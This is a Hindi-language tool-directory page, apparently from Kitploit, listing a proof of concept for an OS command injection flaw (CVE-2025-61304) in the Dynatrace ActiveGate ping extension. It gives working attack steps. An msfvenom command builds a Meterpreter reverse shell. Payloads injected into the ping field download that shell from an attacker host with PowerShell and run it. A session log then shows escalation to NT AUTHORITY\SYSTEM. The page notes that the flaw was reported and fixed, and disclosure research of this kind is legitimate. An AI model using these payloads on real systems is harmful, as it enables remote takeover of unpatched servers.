Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-61304 — Dynatrace ActiveGate ping एक्सटेंशन में 1.016 तक OS कमांड इंजेक्शन भेद्यता, विशेष रूप से तैयार किए गए IP पते के माध्यम से | Kitploit
उपकरण/GitHubGitHub/pentastic-be/cve-2025-61304
विशेषाधिकार वृद्धिपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषण
GitHubpentastic-be/cve-2025-61304

CVE-2025-61304

Dynatrace ActiveGate ping एक्सटेंशन में 1.016 तक OS कमांड इंजेक्शन भेद्यता, विशेष रूप से तैयार किए गए IP पते के माध्यम से

रिपॉजिटरी देखें
29 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-61304

"1.016 तक के Dynatrace ActiveGate ping एक्सटेंशन में विशेष रूप से निर्मित IP पते के माध्यम से OS कमांड इंजेक्शन भेद्यता"

पृष्ठभूमि में ping एक्सटेंशन ping करने के लिए Windows के कमांड प्रॉम्प्ट का उपयोग कर रहा है। Test Target Host के लिए इनपुट फ़ील्ड 1024 वर्ण लंबा भी है। IP पते के बाद आप ActiveGate द्वारा निष्पादित करने के लिए अतिरिक्त कमांड लिख सकते हैं, बस '&' का उपयोग करके।

Dynatrace को रिपोर्ट किया गया और इस commit के साथ ठीक किया गया: https://github.com/Dynatrace/dynatrace-api/pull/99

उपयोगकर्ता जोड़ने के लिए RCE का शोषण करें:

add_user

पहले और बाद की स्थानीय उपयोगकर्ता सूची:

exploit

अन्य उदाहरण payloads:

  1. Meterpreter रिवर्स शेल बनाएं:
root@kitploit:~
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
  1. Cloud इंटरफ़ेस के माध्यम से ActiveGate पर ping एक्सटेंशन का उपयोग करके शेल डाउनलोड करें और निष्पादित करें:
root@kitploit:~
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe

google&c:\test\mshell.exe
  1. परिणामी सत्र
root@kitploit:~
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.51.200:4444 

[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100

meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem 
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : WIN-9493M3CRTDV
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
टूल डाउनलोड करें